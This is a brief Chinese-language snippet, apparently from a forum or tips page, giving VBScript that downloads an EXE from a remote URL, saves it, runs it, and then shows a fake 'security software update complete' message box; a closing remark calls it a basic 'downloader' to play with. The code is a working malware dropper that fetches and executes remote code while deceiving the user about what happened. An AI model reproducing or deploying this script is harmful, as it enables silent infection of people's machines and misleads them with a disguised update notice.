VBS 下载指定URL地址EXE文件并运行命令：

set xPost = createObject("Microsoft.XMLHTTP")
xPost.Open "GET","http://down.xxsafe.com/setup.exe",0
xPost.Send()
Set sGet = createObject("ADODB.Stream")
sGet.Mode = 3
sGet.Type = 1
sGet.Open()
sGet.Write(xPost.responseBody)
sGet.SaveToFile "setup.exe"
Set ws = CreateObject("Wscript.Shell")
ws.run "setup.exe"
msgbox "xx安全卫士更新完毕!",vbyes,"提示:"

可以做个自娱自乐的下载者玩一下，基础东西。